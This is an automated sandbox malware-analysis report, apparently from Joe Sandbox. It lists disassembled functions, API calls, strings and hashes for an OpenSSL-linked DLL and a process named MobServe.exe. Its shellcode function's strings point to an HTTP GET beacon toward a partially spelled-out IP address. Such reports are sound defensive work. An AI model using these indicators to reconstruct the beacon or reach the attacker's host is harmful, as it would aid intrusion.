Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\users\e_capi_err.c$ERR_CAPI_error
API String ID: 3906573944-4181486500
Opcode ID: 0b038b848b7cc321826f3be1b0bcf6e1dd23592484c169cd57ec7539f7f4533e
Instruction ID: bcab6cd216d458cd5e38e6dbe40b96c289f400f2dacb3fc3967ce71fce131920
Opcode Fuzzy Hash: 0b038b848b7cc321826f3be1b0bcf6e1dd23592484c169cd57ec7539f7f4533e
Instruction Fuzzy Hash: 4DE0E679848305EDD701AF64FC86F4B7991FB89608F510518F18C640A2CE71A8A9BB07

Function 1007B650 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007B67A

Strings

ENGINE_set_id, xrefs: 1007B65D
crypto\user\eng_lib.c, xrefs: 1007B667

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: user_set_id$crypto\user\eng_lib.c
API String ID: 3906573944-58842021
Opcode ID: fdfcc9f2b68af3c8b1e307b20953c7307676f616117e3992b1876b7a60621a6e
Instruction ID: cd727f32d139af28aaa20422b74aad61f9ecc0ea54f49900926fbd5b1b7febb4
Opcode Fuzzy Hash: fdfcc9f2b68af3c8b1e307b20953c7307676f616117e3992b1876b7a60621a6e
Instruction Fuzzy Hash: CAD05E3834434166E604DB64ED43F5E72D0EB41B08F85455CF78CEA2C2DEA5BC48E41A

Function 1007B6C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007B6EA

Strings

ENGINE_set_name, xrefs: 1007B6CD
crypto\user\eng_lib.c, xrefs: 1007B6D7

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: user_set_name$crypto\user\eng_lib.c
API String ID: 3906573944-911821258
Opcode ID: 682e6b4803a798f6a31d60513d143520097ec21a366d4fe21ced149ab7ba6950
Instruction ID: de6797aa97ec0aed35917296cbf814fac14ca4c9d8eb3137eef1a7dc617c5160
Opcode Fuzzy Hash: 682e6b4803a798f6a31d60513d143520097ec21a366d4fe21ced149ab7ba6950
Instruction Fuzzy Hash: 83D02E383803002AD204DB24AD03F1E32D0EB40B08F84804CF78CEA2C2DEA8BC48E50A

Function 100A5700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A572A

Strings

crypto\encode_decode\decoder_lib.c, xrefs: 100A5717
OSSL_DECODER_CTX_set_cleanup, xrefs: 100A570D

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_set_cleanup$crypto\encode_decode\decoder_lib.c
API String ID: 3906573944-1523356872
Opcode ID: b4bc3ce4ce5d984f855023dcaf4337b53971d65ece20ec5603a30f9d3f2f80c3
Instruction ID: ef2f858ff471506ee1d282caac1a06c05bd6622c4df89cc8a86883e3f04eebcb
Opcode Fuzzy Hash: b4bc3ce4ce5d984f855023dcaf4337b53971d65ece20ec5603a30f9d3f2f80c3
Instruction Fuzzy Hash: B9D01278344341A6E604DA64AD06F1B36D0EB40B19F94455CF68CE9182E6A1A904E156

Function 100A5750 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A577A

Strings

crypto\encode_decode\decoder_lib.c, xrefs: 100A5767
OSSL_DECODER_CTX_set_construct, xrefs: 100A575D

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_set_construct$crypto\encode_decode\decoder_lib.c
API String ID: 3906573944-2374168990
Opcode ID: 7de1b8ea17a522ac26254d469708c616450f8febf8aa60b1e70c52bd176cdba3
Instruction ID: cd60d1e29960000afe251c8910528cd7ef8fe0269a1515f3d987cd4fa39e5e2c
Opcode Fuzzy Hash: 7de1b8ea17a522ac26254d469708c616450f8febf8aa60b1e70c52bd176cdba3
Instruction Fuzzy Hash: 55D01278344301A6D604DAA49C16F5A3690EB80B15F54455CB688E9183E7A1A954E146

Function 100A57A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A57CA

Strings

OSSL_DECODER_CTX_set_construct_data, xrefs: 100A57AD
crypto\encode_decode\decoder_lib.c, xrefs: 100A57B7

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_set_construct_data$crypto\encode_decode\decoder_lib.c
API String ID: 3906573944-2440260920
Opcode ID: ddebd992f044afd258cc1250608d18f4f55a252b873a1c7feae30cd4b92fa9c0
Instruction ID: e2125b62d7818c5ccae7c19f9ccbf2d1a45a719e826cd8d27e445d9ae28a1971
Opcode Fuzzy Hash: ddebd992f044afd258cc1250608d18f4f55a252b873a1c7feae30cd4b92fa9c0
Instruction Fuzzy Hash: B9D05B78344301A7D604DBA4AC43F1E31D0EF50B55F54455CF68CF51C2EAA1BD40E546

Function 100A57F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A581A

Strings

OSSL_DECODER_CTX_set_input_structure, xrefs: 100A57FD
crypto\encode_decode\decoder_lib.c, xrefs: 100A5807

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_set_input_structure$crypto\encode_decode\decoder_lib.c
API String ID: 3906573944-1535725138
Opcode ID: d032db574a808273500a2c828889635cba4d97f47cbe544c9129db48521122ad
Instruction ID: e730e63aa2b02ba17e4ce98fb6573e5bc81c102ac62aa4316f47746d3ed3376d
Opcode Fuzzy Hash: d032db574a808273500a2c828889635cba4d97f47cbe544c9129db48521122ad
Instruction Fuzzy Hash: 01D05E78781341BBE604EB689D03F5E7AD4FF80B15F84855CF68CEA1C2EAA1A901E156

Function 100A5840 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A586A

Strings

crypto\encode_decode\decoder_lib.c, xrefs: 100A5857
OSSL_DECODER_CTX_set_input_type, xrefs: 100A584D

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_set_input_type$crypto\encode_decode\decoder_lib.c
API String ID: 3906573944-1182542866
Opcode ID: 44c2c00d70812bf3bff9f22dcf5ce3ec384807067b0d521cc1ce06eda358191e
Instruction ID: 289c3e584bd38b78d306bfda2b8e50bb1290595c5436fc551a09b9d0220c078a
Opcode Fuzzy Hash: 44c2c00d70812bf3bff9f22dcf5ce3ec384807067b0d521cc1ce06eda358191e
Instruction Fuzzy Hash: D3D01778381301A6E604EA689D02F1A3690EB84B59F944558BB88EA282EAA1A900E116

Function 100A5890 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A58BA

Strings

crypto\encode_decode\decoder_lib.c, xrefs: 100A58A7
OSSL_DECODER_CTX_set_selection, xrefs: 100A589D

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_set_selection$crypto\encode_decode\decoder_lib.c
API String ID: 3906573944-3201486694
Opcode ID: b7c9da3513b2e2f9dea236a8cb3814ce8aaea9f495f79836e7e0fbfb0bc9e476
Instruction ID: 6dd824f4fae78a07dc058cf5551b9162e056367055450b5c6b6cccaf86163d4a
Opcode Fuzzy Hash: b7c9da3513b2e2f9dea236a8cb3814ce8aaea9f495f79836e7e0fbfb0bc9e476
Instruction Fuzzy Hash: 17D05E78380301AAE604EB68DD43F5A76D0EF80B15F94855CF68CEA1C2EAB5A941E117

Function 10057A60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 10057BB0: GetStdHandle.KERNEL32(000000F4,?,?,?,1004B3FD,10057A76,%s:%d: OpenSSL internal error: %s,00000000,00000000,00000000,10053B52,assertion failed: ctx->cipher->block_size == 1 || ctx->cipher->block_size == 8 || ctx->cipher->block_size == 16,crypto\evp\evp_enc.c,0000017E), ref: 10057BCC
Part of subcall function 10057BB0: GetFileType.KERNEL32(00000000,?,?,?,?,1005237D,00000000,00000000,00000000,00000000,00000000,00000000,00000000,1004B3FD,00000000,00000000), ref: 10057BD9
Part of subcall function 10057BB0: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,00000200,00000000,00000000,00000000,?,?,?,?,1005237D,00000000,00000000,00000000,00000000), ref: 10057C06
Part of subcall function 10057BB0: WriteFile.KERNEL32(00000000,?,00000000,?,00000000,00000000,1004B3FD,00000000,00000000,00000000,00000000,00000000,?), ref: 10057C32

raise.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000016,%s:%d: OpenSSL internal error: %s,00000000,00000000,00000000,10053B52,assertion failed: ctx->cipher->block_size == 1 || ctx->cipher->block_size == 8 || ctx->cipher->block_size == 16,crypto\evp\evp_enc.c,0000017E,?,?,?,?,1005237D,00000000,00000000), ref: 10057A78
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 10057A82

Strings

%s:%d: OpenSSL internal error: %s, xrefs: 10057A6C

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: File$HandleTypeWrite__stdio_common_vsprintf_exitraise
String ID: %s:%d: OpenSSL internal error: %s
API String ID: 79121910-569889646
Opcode ID: 3339ca684fcaf5e7461c3daf8501645995e27d773ea7df5ad1d7ee8c7465e98f
Instruction ID: 0296ccc39528a1cd4fa8cce0f000094dee9dcdfe1e885d26c4ebe4fe946fba1b
Opcode Fuzzy Hash: 3339ca684fcaf5e7461c3daf8501645995e27d773ea7df5ad1d7ee8c7465e98f
Instruction Fuzzy Hash: 7DC0123A044301FBEA02EA904D02F6A7992EF45B50F184818BB6800892DB22A034EE23

Function 1007CF70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007CF9A

Strings

OSSL_DECODER_get0_properties, xrefs: 1007CF7D
crypto\encode_decode\decoder_meth.c, xrefs: 1007CF87

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_get0_properties$crypto\encode_decode\decoder_meth.c
API String ID: 3906573944-2083031746
Opcode ID: 20391826a177bf53f4e2300021f476dd91e2537cdb48f20bb4afc8c14693e3ae
Instruction ID: 062fc6c1288cd734aecd615de76e86bd07bad96d353aa5a3653e8af6fec5bbb1
Opcode Fuzzy Hash: 20391826a177bf53f4e2300021f476dd91e2537cdb48f20bb4afc8c14693e3ae
Instruction Fuzzy Hash: 2FD05E347802006EEA00EB24ED47F8AB2D4EB01B00F09C954FA8CEA183E6A0FA00A116

Function 1007D680 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007D6AA

Strings

ossl_decoder_parsed_properties, xrefs: 1007D68D
crypto\encode_decode\decoder_meth.c, xrefs: 1007D697

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\encode_decode\decoder_meth.c$ossl_decoder_parsed_properties
API String ID: 3906573944-4168976958
Opcode ID: 0aef46e58ce277213d9b0682b7d7f974f49e86a5dd8085e5cbf1244c7080051b
Instruction ID: 0e9edcead1f6defc9b90b86f7be64e8d3feb480c2d1485b3d49fc50133f40da7
Opcode Fuzzy Hash: 0aef46e58ce277213d9b0682b7d7f974f49e86a5dd8085e5cbf1244c7080051b
Instruction Fuzzy Hash: 4ED0A7347402016ADA00F624AD03F8A31D4EB00B04F144954F78CFA083E690F900B006

Function 1007CFB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007CFDA

Strings

OSSL_DECODER_get0_provider, xrefs: 1007CFBD
crypto\encode_decode\decoder_meth.c, xrefs: 1007CFC7

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_get0_provider$crypto\encode_decode\decoder_meth.c
API String ID: 3906573944-2622379674
Opcode ID: ba84860c392522c0adef139d719fa34f65934becfc714dfcef06ee1464ae5399
Instruction ID: cba825cf4279530f83a66146d51daaee6a5d48addf97da013257b4e2ee082195
Opcode Fuzzy Hash: ba84860c392522c0adef139d719fa34f65934becfc714dfcef06ee1464ae5399
Instruction Fuzzy Hash: A3D0C7347803417DE900D6649D47FC921D4EB41B44F484954F78CEA082E690B514A15A

Function 1004E916 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,ExportFASDADSunction,ExportFDSAASDunction,00000000), ref: 1004E927

Strings

ExportFDSAASDunction, xrefs: 1004E91B
ExportFASDADSunction, xrefs: 1004E920

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Message
String ID: ExportFASDADSunction$ExportFDSAASDunction
API String ID: 2030045667-3571760791
Opcode ID: 3fb536a62671e298b689c473269ce8b0e9f6b15b06223d189784c72b9cffb56a
Instruction ID: d34c500d02d46393874d7f3e514794094b055b19b7fa1f3857569b85f00774bb
Opcode Fuzzy Hash: 3fb536a62671e298b689c473269ce8b0e9f6b15b06223d189784c72b9cffb56a
Instruction Fuzzy Hash: BDB09230284309BAD42012859C0AF53B648A38BB12F400082FA0EA58805F92642180AE

Function 1004F73B Relevance: 5.2, APIs: 4, Instructions: 171COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(102A51DE,?,10050AB8,?,C86DC458), ref: 1004F831
memmove.VCRUNTIME140(?,10050A28,10050AB8,?,?,C86DC458), ref: 1004F851

Part of subcall function 100509DD: ?_Xlength_error@std@@YAXPBD@Z.MSVCP140(string too long,?,1004F000), ref: 100509E5

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmove$Xlength_error@std@@
String ID:
API String ID: 1743304318-0
Opcode ID: 501bfaa854e4845af041b2bb2159cc97086f87bbf4ea073edd4194ef6784c359
Instruction ID: cc2b0dc7b23046f705547c9627131de6d26d7ff797e3e111841806f0793bdd10
Opcode Fuzzy Hash: 501bfaa854e4845af041b2bb2159cc97086f87bbf4ea073edd4194ef6784c359
Instruction Fuzzy Hash: 058149B5E002199FCB44CFA8D981AEDBBF5FB08310F20412AE814E7350E735AA55CF65

Function 101A6810 Relevance: 5.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(10347938,00000000,0000002C,?), ref: 101A688C
memset.VCRUNTIME140(10347938,00000000,0000002C,?,?), ref: 101A68AA
memmove.VCRUNTIME140(?,10347968,00000000,?), ref: 101A6901
memmove.VCRUNTIME140(?,-10347968,?,?), ref: 101A6946

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmovememset
String ID:
API String ID: 1288253900-0
Opcode ID: 3348b9320c01573981ac320e6497f006367298a6fec2c6e120f32f29a60f7f37
Instruction ID: a1ad9ed5e803a874f71d47b5aebd8a25630b26e2bce3991981d48f85707db9fa
Opcode Fuzzy Hash: 3348b9320c01573981ac320e6497f006367298a6fec2c6e120f32f29a60f7f37
Instruction Fuzzy Hash: 8E3138798053E1EBE2025B645D81F6737ACFBCA259F210824F848DF261EB7C5888C792

Function 10271E80 Relevance: 5.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,000000FF,00000000,00000000,?,00000000,?,10272B32,?,00000000,?,00000000,?,?), ref: 10271E99
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10271EA9
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 10271EC3
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10271ECE

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharMultiWide$freemalloc
String ID:
API String ID: 2605342592-0
Opcode ID: 6a39575a677706951349159f20c25f1a3286ce7bbea9218573993b281b538487
Instruction ID: 26fd40075dc2cda0a9462477f2a1863bce3c613484047f13ef59d19b5c27aaa8
Opcode Fuzzy Hash: 6a39575a677706951349159f20c25f1a3286ce7bbea9218573993b281b538487
Instruction Fuzzy Hash: ECF0242A70223377DA206AAB1C8DF876E4CCF91AF1F350235FD64EB6C0DA60D81081E1

Analysis Process: MobServe.exePID: 3004, Parent PID: 7116COMMON

Execution Graph

Execution Coverage:	39.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	28
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000001D869DE0000 Relevance: 70.5, APIs: 9, Strings: 31, Instructions: 459
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001D869DE0076

Strings

%s&t, xrefs: 000001D869DE02FC
ws2_, xrefs: 000001D869DE007C
t: , xrefs: 000001D869DE0331
62.1, xrefs: 000001D869DE01A1
=%s&, xrefs: 000001D869DE0303
%s%s, xrefs: 000001D869DE03F6
%s:%, xrefs: 000001D869DE0338
148., xrefs: 000001D869DE0199
unMa, xrefs: 000001D869DE0100
%s%s, xrefs: 000001D869DE01D2
TP/1, xrefs: 000001D869DE031C
user, xrefs: 000001D869DE0057
msvc, xrefs: 000001D869DE009A
107., xrefs: 000001D869DE0191
p=%d, xrefs: 000001D869DE030E
HT, xrefs: 000001D869DE0315
/?a, xrefs: 000001D869DE02E4
d, xrefs: 000001D869DE033F
.1, xrefs: 000001D869DE0323
GET , xrefs: 000001D869DE02D6
Hos, xrefs: 000001D869DE032A
%s%s, xrefs: 000001D869DE03B9
%s%s, xrefs: 000001D869DE01E2
32.d, xrefs: 000001D869DE0069
w64, xrefs: 000001D869DE017D
%s%s, xrefs: 000001D869DE01DA
%s%s, xrefs: 000001D869DE03D4
32.d, xrefs: 000001D869DE0083
rt.d, xrefs: 000001D869DE00A1
=%s&, xrefs: 000001D869DE02EB
ws_, xrefs: 000001D869DE0187

Memory Dump Source

Source File: 0000000A.00000002.4079365114.000001D869DE0000.00000040.10000000.00040000.00000000.sdmp, Offset: 000001D869DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d869de0000_MobServe.jbxd

Similarity

API ID: LibraryLoad
String ID: Hos$ HT$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$%s&t$%s:%$.1$/?a$107.$148.$32.d$32.d$62.1$=%s&$=%s&$GET $TP/1$d$msvc$p=%d$rt.d$t: $unMa$user$w64$ws2_$ws_
API String ID: 1029625771-3065570680
Opcode ID: a3d67f65d341df92c7b229f92aef91cd92f3bd6d03f8bad1ccdfadc7b8afeea8
Instruction ID: 82c4f24e8c5b2010184bbf675b8eed2d435d5fda59e72a7ee20f72f37d11044a
Opcode Fuzzy Hash: a3d67f65d341df92c7b229f92aef91cd92f3bd6d03f8bad1ccdfadc7b8afeea8
Instruction Fuzzy Hash: 83F1917140878C8BDB29EF68D8856EDBBE0FB64354F50056ED88AC7291DF34D646CB82

Function 000001D869DE0008 Relevance: 66.9, APIs: 7, Strings: 31, Instructions: 390
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001D869DE0076

Strings

%s&t, xrefs: 000001D869DE02FC
ws2_, xrefs: 000001D869DE007C
t: , xrefs: 000001D869DE0331
